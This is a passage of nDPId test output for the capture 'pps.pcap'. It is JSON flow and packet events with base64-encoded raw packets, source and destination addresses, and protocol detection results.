vU9gDpXmawCBd42orgsuhURZzOUCdVPoMh\/z9l9y9GfPoGduQgR4JPNBVuSDNEgGEJkWJ1FUOxpzTqRxOwR6b5dsaWkzRSPgRYG3hTOZcVqC5gKK5YUW+oIg5NtQnviQhg9SwcAX6IXJD+9BvIk4sNUAC5+WdMWzJoze+GXjzevNiiZdPrGNgbcGpxBWhp+7ZPid78RsLWhY7x7884NnqCHNppMBz4zpVGlH+ZBoOjeV6aSUk\/qDV+C\/j0o10MXOsV3CoxxhOlXM0nu8VidDv61\/3cXt4D3\/R2jov8duwm68976YUAifv2PebQPD4jbChl+7+ARFBpj8q19t0dBnozQIZBrJOzoxdvx8HNvjrgwAaeDuOOgg4EyZ1kdyMF5w+aYLUFylXAbSX\/S1jM4UeemoKjHYZSkRl9TFTbYGKjFjsrfQtYyHX\/RtY7KQ4j3z8ujZ6c5bHsbwwQ08tFmyeKNLiPvNcqsgdUVB2t+geSMrWE3MxRrbm6QeUM6rjkwERlDO6XhGoJ07g27K2tQHqye4AI0QjG3GfBDsXYuc8K9wittW\/Kgo4058PzpJN8O5tTCRTvEKzj0Ve6tdKA6S3jKzIcQUS0UlCbWOBxlISBxg3lFmoYAAAEA"} +00442{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":570581,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf44AAIARHpvAqHMI3sWKDFkJGywALZ7f24CfurqYyODaHXucqqqqq6+m\/8rLy8vLz7CwsLCwsLC0NMs0\/g=="} +00443{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":570798,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf44AAIARHpvAqHMI3sWKDFkJGywALZ7f24CfurqYyODaHXucqqqqq6+m\/8rLy8vLz7CwsLCwsLC0NMs0\/g=="} +01834{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":571753,"pkt_caplen":1107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1107,"pkt_l4_len":1073,"pkt":"ABxCjnAxTF4M6gNlCABFKARFVdsAAGURgHPb5GucwKhzCATiWQkEMRpf\/oSrjY1mdsMVGYOUKSktbG6l03w0ghqKi4uLi9+Tk5OTk5OTlwRBxjAMUfeniXiOCOgvkYAq1WEiFNchCYEOSnArnixpNxN7lJPIBijZ7jDBox5yuBFFggrn7wAtIvQkPaAn0wO+GoW87KfkGlEvjoC4nQDi9I7Q\/hm9ye3VKtcsfwHCqRkjcaZmD9Ys47UOEtVSEDrBXLh1s9xlX+Fc1y0SjeyuhMPGdwqe2\/8i0SnUxyg5H9EOnwBT0u1wKSvPuxbNl17ZnAYgApyzoBhiA04bN7TTIZkTPwtJ+5yHKXUpk48YoBTsP4rJjp81SRUC4BMHdj5oaEcPD22GDQsP876XBewbqklKQLJRK+Y+Ct7nJiTDSanc+hfAI0FDC+FffWflM7XkzB4MRp6lWc0o7Zc\/5M01q16q2KO5c67zj2Ul\/KaLJfSTmfxTSS5+7IKWNFaMd85OavNbMXFnLt+rrRCY+Fz+q2ykG9G7hr50zxZuL5dj66KqF8aKXXte8R8VpaypuW0C8oCdSWsHOUrBUXiKW8Vht9UkCcrD6sXySFBGDXIzR8IDb5DcUQsC9oh4dVa56gL2wZLIKjnVjIGb7jc40kW4Ui0tPiJ3BdfP3RMU2HyRcP\/KGo9QcLcBPcWRRfBxhL0S+QZJFqi6sO7jqempvydacczne8tNQeIisYWiYXwBhpFlkPhK6H1ZL+yPBWuDfhr07jCIZQVTFTnwiH92g4Tkm9UDpwFzOmtzsbOkVSstcfPHlX22lSZwChkfjrMnDX3WUCAmYJj6t\/NeFm9rihbjz4wckEvAeuKhoC6efWZJ\/PId6MCpawb3aAinVEnmuzh6KsC\/gNXyGgMwRV3P4PEXaBg1JtDE9Zsk1LV0+7lGxHqyymdEbOrmDqVnK7eI9o+YRTL2dPG8NBCIYZHyfNx4\/OFLZVk+Ew\/V3E1cbyqkgHdZHT1HvJNCyX3pB9gkvzM7\/0g6B27oUITWX9FN6wSxFDSpEfPxF9zpXC12iaDCOdNLfWVFtDp3zG+fI6CgMZT813\/CGHVciQOOIouteTJTaoEH\/S\/AUBk6sK4+21Vgrv51vBhrXedGO78xosSCZdDhTFVXbmBqirFwvKIrrn7cOYGRqyZAgDeQ0pYhVeLLgbM5l+KYb5mk+6lg8aYTSDjKnJ8rSrUNR7+CIsqum6yYRq3Rfj+yFATqDJPr8hiL7TY5Ed3WjVMsy\/qC2Fye8fFMPAGQd6rGCJYqxJKIL16DoKVuhFo\/GiGoMeVlynyi8ckzHVVDKcH46fIL8\/kFimOJ5w9Gb9H81wkXz5+3bolKd2w2vHlNhfoCKzSkavndqfvrYbuTLszVpMXmXaA7bqqb+vqZVRaqXj5+vLcfxaNp0yV6fat1KLm\/uIgv9ky+Fvr5R22lKflMc9oQuVwtGrkAAAAA"} +00442{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":572524,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf5EAAIARP+nAqHMI2+RrnFkJBOIALbL42oCeu7tQQPUjL7WiHx8fHhoTStLT09PTr+Pj4+Pj4+PnZ5hn\/w=="} +00442{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":572591,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf5EAAIARP+nAqHMI2+RrnFkJBOIALbL42oCeu7tQQPUjL7WiHx8fHhoTStLT09PTr+Pj4+Pj4+PnZ5hn\/w=="} +01829{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":613744,"pkt_caplen":1107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1107,"pkt_l4_len":1073,"pkt":"ABxCjnAxTF4M6gNlCABFKARFVeIAAGURgGzb5GucwKhzCATiWQkEMSNu4YS0kpJ5adwKBpyLNjYyc3G6zGMrnQWUlZWVlc2BgYGBgYGBhQva8PMhqsuyUZDSGAHHEjuRtqJ10CTKCqLCyeSnMxwDmQ+XX2nbwqoTM+uj0Zkqef4L8+N1XodDcvMDsNE70U72wS38RQ1tjvAg8nATqAU\/diRtVReQa7FQD8i27vY1qlFmt7Jrb+nKBnLkcjFtbYlDyT9bZiQ8PzhG6OvimDHwAMR4OHSexIJQqATNmBRPtzqzQTiwu2k6f+bajQJEODJdBFe13l0GxMm0mQU44EWBLt\/6YiMMrOo5ldz9sb71K\/rRR9T0m2P01lCV4sgsARaDIceYTEsibRumLWebNXj8rNoPzKsk1jI+EpP3ZIyH1UPeR7SewTtbxbjJo11UJ1V8oeohPnLqStk88BQdOApdCI6Vz9YLKreasURvMVHcnHBK0rKxyQvUNiF8zphduz4IBLz9Kylr9VGp28PuJ+5lHabzXQSyhPHXwHKTq6LUgtNr2sKR3pLHU6DyUkxHa490hLvprAECe8th8Ksed\/31vZFciPKGhgwr9cATXdRzJOJruJ0ZqlnYW2ZOrwrksaibbEPGlGL9B9Mz9YylHHX+m9FUioq7yy9RB5H\/n6jRaFWQ0L6sQ1lNnuiFrA2sX8J33LXvALY9ajZ4qOcvtdDiFR6lJmvwWAHyreTC45t0A2bs94YYBrlOlttfIQBKFU0J5nORyV24K5Plfa5ciHO6B+QUZy6IvOFuPU3WvpoHymHTgleQKY8owjWfi7Ok+WXp11uChSqviMLW2oUgzJisfTKSLnIrL2S5zZfx3mQ5l1oWszT8OANxmiWujjOJzx+Jx15oUbPEz8vJJ3Bb7nov1xTTY9\/qtHUjuMNqH48rJMcENARWH01+bWk\/d122heDKPAhI0gQamW05R3A+cWOQYzTYOIjPPyCwMTbn9aJoC8qMTU6vw2Nf+XEWKEGiiofM5x1NRtGq8xyCB5lwSUJdPhueVTqveSJ2DtapDZHGpmUOm37JXjJFFIPKacTrUgV7oqC8l0gcRmJpbIVUmuObbBRErG3HsuejKQ8scGeAvWfIqO1pVKgSk3NEWS+EHgzx75B2Ptmw2sKqnFVaasXeD9lFf9tSbgDRK5yL5Pd0jNf\/2wqUOz\/3D1nzcfzmwynm2bc1ZPZjmECq9C9HwhMFxjfLrkll0KNJQfOT9UgFdReFoj\/6evwr0W+ygHKCThmmg2lDPEx6wucyocwN\/OlkW5b9v6PvvV9KUgI75oYUg7KJ1yr\/Jq3x5iwEP5+OcxK37suI9ixclNiHJgsZhNyiT4uW4m5469KW1CSKfIT3mIc4yV\/eEJggO\/H5qoXYdOnBY9rWYNTLSQ1A1ro3hDHoYsNHoTKJR+eo9yZh+0aoIxzIrboWhY+0nKfZ9MCT+iMAAAAA"} +00442{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":614160,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf6gAAIARP9LAqHMI2+RrnFkJBOIALWOr2oCeu7tQQPUjL7WiHx8fHhoTStPS0tLSUh4eHh4eHh4ammWa\/w=="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":340,"source":"pps.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1467353136616,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50462,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00404{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":616772,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAof6tAAIAGbhvAqHMIymwO7MUeAFC+iLxRSK1JylAQQRKO+AAA"} +00404{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":617070,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAof6tAAIAGbhvAqHMIymwO7MUeAFC+iLxRSK1JylAQQRKO+AAA"} +01842{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":640432,"pkt_caplen":1109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1109,"pkt_l4_len":1075,"pkt":"ABxCjnAxTF4M6gNlCABFKARHPvMAAGwRBbvKxgdZwKhzCD6nWQkEM7bwtIThx8fltZ2nYAbh19fDgoHFsbOz05H7ys7Ozs7OUjMzMzMzMzM3d32QGgSgl3utg\/Lr9hRf++0ikCQTv4qzjqE0Vwx53Ozi5DZHrUJ0D9ld80WV2ev0tZtZRKXgAoVPxGV\/sVzgH4xC6HL79R7mq5iPtdzW66QMOgYGr3SE8p+G4rKdTYea586Ro7AY6bM28Jh0I5r5TVTI2fUcSzHV34y5S7zxuN9s2gdR+G2nAQ9di580b0fnOVMCMbQS0YymBcyPOk\/TMuDcu3jPoKDTMgO9S0s0IYLNh3NTzcMZuYatUE10g0vqD2WlKxR1edSPZQFM4WX\/I8oWPKSn5CmnWCJgNchgz7RCWXFcarMT+ited1xm8MkWOvZ2PeUCHfQ1MuOuLpD7j5mhw07uokSIlTUFQAnPCELFA5Psd1zbcuid+es8QtEP8h5Pg5ROnoUYgwG\/AmXnw02rh0T218tbI40AgvHe3fXoohnR3eOl8fPl6Tin6Gi3A066NBegsFeRPVSX+gHnt5FK1bZ00Z5WDtXOvCRcLb\/+iWvY\/Ph9J25OZG\/H6f9hZv6bNXwaaIuHTCkt2zE30xNgGrL5fP\/qsPXo4QVw4df\/AHUUWn7DNhotAyglmhZHHHx2D76uvfRLfpDX45nAOTU0aQzIlAkbjeL9MiunISwrfsUiGGi77jizTx7AZjJwIN9X0xB729dePDFW3iOjEJKi6wwqiXtgjp0Qn4ycT8aj3higqkAdmCf6viBeUxA4Ey0XJs8LeWlBWrWLGrAVX\/syUvSc0Qnt7hgTis34opRC9MgH7uPb+CPcACWQ4PyqMfFoB93v48Hj+r9dC9ONTO9C\/ktt3YfWgupPKQW8qdqTDsSYNY4LtVldBymEKQFgcafM+ACwgYLH3rkh38VWSezZwGc\/KyCgGlonrmjhRAudSNJrjk2I5hAwMjl3+Su91K1EqYBwzJUW5Alu89DYvHVV54Y1uiDfno+vg9g2pOTv9qD\/obGNrCOfIKiGoGknOiYUYI9eRr\/Qs1peKBmW\/7D5fFEEUzXzGE\/77OK829Wr420Sgnl\/\/9UHV4dxNEpg7Umuc4f16HFagvn7eaQRFd2LphIs7VvTz82qi7A\/OZJVG8fQa21CCaNp\/VwpaOYvMyyVi6a19f21I+oFHfTzAOIIV1wwifq0aAqUb5BxGVtvBKoejKKSwLl6F5F2DDKztCmxmzs\/WdQTTScN896khxt4jB6c6Mtj512hCjnKbeZFmlvfg6SdAKpUxQ3Gx6Yz3l9WLMoFQ3S6GdtYorTUz4zvLoxi+9EUFhpvg1ZrQIfeIXH93JJ0H9uwkye148Sa+dodTKDlcRbxOKd9fiM3Owhw5\/cz2k47y3guqZHbBfAcDjAReQ92\/933ihS1JB7je3wazbY+fsqer0ZQzO0QaggAAAA="} +01840{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":643542,"pkt_caplen":1107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1107,"pkt_l4_len":1073,"pkt":"ABxCjnAxTF4M6gNlCABFKARFPvQAAGwRBbzKxgdZwKhzCD6nWQkEMRFXfIQpDw8tfVVvqM4pHx8bWlgcaLWwZBseHh4eHp77+\/v7+\/v7\/wMfWERIlX69eIeAyVjwDDhMFtmslz0Y2\/hRhdPwg2ZlRoE9q43eEthcxXD2qBtY0pBP4EyYcAe2zaoYI8zx6AAuqE1Y2gDZkRy+2BaU5XRaBui1O9zkbZrCs1V34KInG4kvlfB8Nlp27bdqfejdHcvdmcSSuDZgtI3pU4lj38hH1eAj\/58EFCeWNLR4cb\/y+E5g4FVE84vdohNFWnf\/8u9CjBYzxMR8QKcDfS\/lIjCfGzUMMW2A6GoS\/L7LTWnoFqgLCTBgazFr5bGh7NDO6yaSG1VZMMs+H4Xyk64mxj1lojZDre\/kw9j4pqE9BEWpjw6d7G7TXvW+PHJk6PjP1LSstHztM+iwnycy90ajqadtTzqrJS+2RS2nQuuEQkDCA7EwmWb8cFg9VmVED0QqIBEeO1iBLcH3S8cbGK7Dg2MZkVqMmi\/\/zfgn2gMzFKX8OWBg18Qf6jrZth7UCXRTYoJqrSpSQcgMDcLYYUZ8zK9WqFv34QjhoBtLiIXYYS5U2ugYU2HmhCQ8qPeUP0iNVGbosfFt16GZPNOPfcUvUcq9gKD3+549qomL+Zov8YZnXyHCis\/vzWrCcViTem3NBpzY5XrNZy1s82wBlGfAdVZoF+CtrP5Bh61zJifkAA6mgzRM5b30Flz2ZUrQIkkCz7tGaPosn1a0dML7\/SgthExDYW8dQTAu70ejo0CBCtVBO5\/pBlJYvaHT0jfGO5HjF8bPTQNRYU85JzCXvTpM9xehg9qjuai099DluzlKcRX42AnkT+7W5q+jwjfXecEdmfxir9hFpQ\/k7rCB6g13unCyN2mMQYPAM+5PnfFKF5f0wSyRhfd0SJL3TB\/gWvomBSnhSzyTzHQ\/XzSyTOIO1I9d+4RFgl0rpgjGO0B0mOzbcvkhi1ywx2OqJYs3Q+kUnc8HhwlNrygfcVOfqOCjGVBYIegWuT8zbW8BOb2T3SM8+sYtoCWTQu8HENbnSfuOphcmrfudLdLiBvzrR3KjFVR5cQ8UB5J\/3fbujVc4gL6CtcJkfUGD45qT59Oan4XxBWp237ycjDYLYCgSIdFBpT4dWNhdyBQs87gf9n+boECHcl3woXyq8ZFKmzJyQDJ3oVsZMrtAX8\/Dt8TgryPsviGkJq\/bgqxnbMipG0LbZG4V847cKdD07E1KbnnT++78ontwMTkBePJTaHoM5Dy6TFKGvNkRJfSyud1HV1jjPzfMKlpB33EAgVmdDBcTlQUUDKB8qSCTBWrdC+5MGPWH\/bojSJLegMgI335k\/mlgKJbZb2P19LmftcVuMVSTlDzj+LSI06vZ4jyt3XsNRG+3LQZImkAx\/esRNJl\/7lm\/A97APNYRMeMp9vENoxVOwQvsHWsQAAAA"} +01841{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":648500,"pkt_caplen":1107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1107,"pkt_l4_len":1073,"pkt":"ABxCjnAxTF4M6gNlCABFKARFCXcAAGcRqYbexYoMwKhzCBssWQkEMW9XG4ROaGhKGjIIz6lOeHh8PT8TCKSikg4gISEhIY3x8fHx8fHx9Q6f4VybTHFWwJUwFCS6o4PdNQyyPpES3HMQW9AiP\/CUqIYTYoF3tif0qD5LGpGfj9DdbSsAKwJoJlNW2R46stK4LO9wKHHSzsnNIDhO9PiwOykT8x0Nc9lfBzLRh\/AOajBiRI78VWqKSc5f6gKe\/fZCYWJjROQS85KSPO0jSeVZWVs5xPCNxIRCB\/tGqSt3eEaltxnvGtoUuJzkusG0rZnl2etT4a96XU0Bu\/AhyIhfxl8RMu7yerkHS4wYJnjoLExH0nXAJGVp8SSlVBb6zGDEWjnGmED3A5PiwMKi966xI23UAJQHTAzHRQz9EKCsR7P+Z+aUcDZY\/wMngufr2JL5aAAwfpAGJbiy+D2F7FyBkqxGgWG0DulwGGm\/6eM9TpyK+4ZyjBXmmzafKZIZA\/3E+6rpaNAiGYCy++Frycv8TLlMKcG57FpIn3xlUeZu1JxBcR6oHlFWeYA\/uFjqP4DocFM5J13xL9KPbtkAxGczXoP2H\/S2Hf687iUE0pgXELHKqC4VnCAGYiGYA1h\/yu0wJqccsCAD54GhovhxQlpn4GA+mxfmv0IBYLbgihn8LS1UgHn2ZYKj8rvxbVVj\/2WnhrXnKxFOPm4yKSK0PO5FEAsBnTu6EeWMAPgWANxksu7TlcBaKIPQDduLTWhsiDbG14O0TWoZJAZBZXWmEjPqEi8zRzQW1J8tGsYLZl9nVMd\/IDT0v7H7k9cY7uoxkayXr6CZxVrWaTdb3bMs0f1TLQ3zqVGO5Y0W6slPtpyVqMEuE0BHKDnJ44hU6pRUk50tNYji3bUbfqsHk1\/ObQBTTC7hauYtU\/mkbCyITKp31lcbcrzd3csQ1hKy5nVvss2sGT5q0lqcJJ+AB9ttXWh\/dXToJfOlL6uF2lCLPxZX9+8tL8yzmaGCv5vMOY0HfFsUpaxXYM32lhIHh54MbxmOrmpdECIsEYhHWJgGgYV2yZymSKQX8\/BzdKoURQzz3Z+IqXne3lU6C1M1e76Q1MvKDlKrPj3nSO69\/h2q\/jLx6jJAhdkYCrEZN81J5lHYyvqGnAl+HxMuVKJuKWxv+DjmxVcc3MtYKoME7sQq4O4AkHu8HM22ZnfgbmzpsJxVyyMYm5QfGUDzZwYytBb6IeFiJazoMeYNwwFWJnTA0k1YddgI6xPR+DA5WDvJytBI37bsCZQKsMCCXSFFGJ\/Zz1wCiqgevBgzGSNp\/cwCFT94V1V2D4yEDMbHieK1eUxQlWk8ww3MhQVF6I7sGq1UmQUDuAIbS+Sv6Dl\/zQWpgan+gMZJNmbXOnHmuoKk15n\/iCEfNh9yX9lHL4agxSOqpglEeE\/kJvcNXTNXjZ7xQ\/ZvhHd39ypy\/+QlyAYf8YXRolgAAAIA"} +00443{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":650074,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf78AAIARHmrAqHMI3sWKDFkJGywALYLO2ICcubmby+PZHnifqampqKyl\/MrLy8vLdwgICAgICAgMDPMM\/Q=="} +00443{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":650558,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf78AAIARHmrAqHMI3sWKDFkJGywALYLO2ICcubmby+PZHnifqampqKyl\/MrLy8vLdwgICAgICAgMDPMM\/Q=="} +00443{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":650995,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf8MAAIARHmbAqHMI3sWKDFkJGywALXoO3oCav7+dzeXfGH6Zr6+vrqqj+s3MzMzMBHt7e3t7e3t\/f4B\/+w=="} +00443{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":651112,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBf8MAAIARHmbAqHMI3sWKDFkJGywALXoO3oCav7+dzeXfGH6Zr6+vrqqj+s3MzMzMBHt7e3t7e3t\/f4B\/+w=="} +01838{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":660483,"pkt_caplen":1107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1107,"pkt_l4_len":1073,"pkt":"ABxCjnAxTF4M6gNlCABFKARFPvUAAGwRBbvKxgdZwKhzCD6nWQkEMcjs8YSkgoKg8NjiJUOkkpKGx8WB9emVHHN1dXV1dfWXl5eXl5eXk1vyd38WC0CHU2H3chZPalJQhIfCShBEGfhv0AOszk8xz4cb2U3O8vqyLE3NLsepCateu4swBJuqKrZKa86XJl7dtNfCDb8DEWMC6G2yZzeCe0zKtRCrYS\/aj9iUCJ\/R1DllVxTRKMY0XhhsD4S1R+LXTG8RMGmgPAUv9QuOJ4TekiiQqKfdz5TVY5XNlyy4h\/3ZHsoiWw9BkyrvdRXIWwAbsxWSO6\/zc8w3VBtQaep5j7WbomO3xft\/1Hk7BOH+502dy10QTqZc9WZbtp7RoobD0Mi24+qOnubQz148P1KkM5xDEfcIv2\/C6AW0pC0\/q0QwIuIz+yslZuA9QboX3PSW3x6NVgLnEed9lwqFDp4Of7ayqklDmjR4j47waRAnwaNCH7730mzfQ4fcUdtjy5ppCeRRqHfZ8nn39d8sscz8vZgSnNn43KZFIm8Pt72srNqOn32Qf6LS9CfY7sYltbfgN\/fGHeVg07oejOJOsRz7OMVg1gN\/fBA2rTpwG7VbE4s4DnTZGQGgzkV5qP1cXLHnTJJNc+q2wQqRqOYMG\/Ajzdx1DFNcNys4JXd7jh8YngOs5MpBMutBtdUao7aeeV44oz8W\/4XWF1Q2Nu+wSnnomRpQZnNvb1zzeS6AiRzDaLts7pv5l6VZqKZwCFkuV9o22FJBIj9FSKoxySnt0F+R1+L364c02AyHj9HmcctLPRKXETJlgZXS\/Xx5EQ2P6w7rs3BSY3bOKabZsmw42Dwt0+hsnPBBTnjXOPQgQuSJas3eMY8yS1akrqmaQx2DnYdRHTEoxs4SPkwRSXmgEX2\/\/Wqotu9wp\/uRhCeZunADMCXQ+6GJEgwL+aIXOtFVSJozo8BwdPQrp3tKzyGGD\/WU+jHNmt2qLOVCuXOieTLQk2YcdBR3YFqEvDO4RaGEvpJcsDV4cRlr6Ghierw3TmAXDtEeJ86TK+gNqBQFtwohJ6C0UsXI11+bAdiqqu8VmIjjq5NJQoXLCmm1ZoQxuNqrm+Xzcs47hmhhCnPeEew3MdSCgvtvax4\/jk3SaCJG1nCEymMb\/ALyRTCnPEGOWY0MURztieFtg7tiBeatgiVWPGEbDSrN6KNU7DSIXSB2zmBF3mpX0e6FMrj2Ty+VGWmWIeZunbDeu+Sk4dDYI\/iIZYx0a38alKwrFqri09KuScskILRXz3d2PLCzLgf+FiOaDVsn2fEL2Rvc6mydotTioBQt8yJz0ImtvZLz4Rgp\/E0Syf731kngdJ2i5gFt0etMSLj8DsXBRygN\/TZlo\/xzx\/Y3hnYC5JdBHDEpAkqenw8MN7qdDMc70lcyj9u7rGYlUwPPEHE77tHSE9VCDKkIxHUC1RCxStc\/k35h6oBc3JYgAAAA"} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":587,"source":"pps.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":255,"flow_first_seen":1467353136439,"flow_last_seen":1467353136732,"flow_tot_l4_data_len":96799,"flow_min_l4_data_len":45,"flow_max_l4_data_len":1073,"flow_avg_l4_data_len":379,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"114.42.0.158","src_port":22793,"dst_port":7716,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":644,"source":"pps.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1467353136757,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.15","dst_ip":"68.233.253.133","src_port":65125,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":757007,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlKDc3Alz6CABFAAA0AHFAAEAGMi3AqAUPROn9hf5lAFBsGPTh5ZgTx4AREAFu8AAAAQEICiYbPvkrIgZe"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":765,"source":"pps.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1467353136833,"flow_last_seen":0,"flow_tot_l4_data_len":116,"flow_min_l4_data_len":116,"flow_max_l4_data_len":116,"flow_avg_l4_data_len":116,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"218.61.39.103","src_port":22793,"dst_port":17788,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 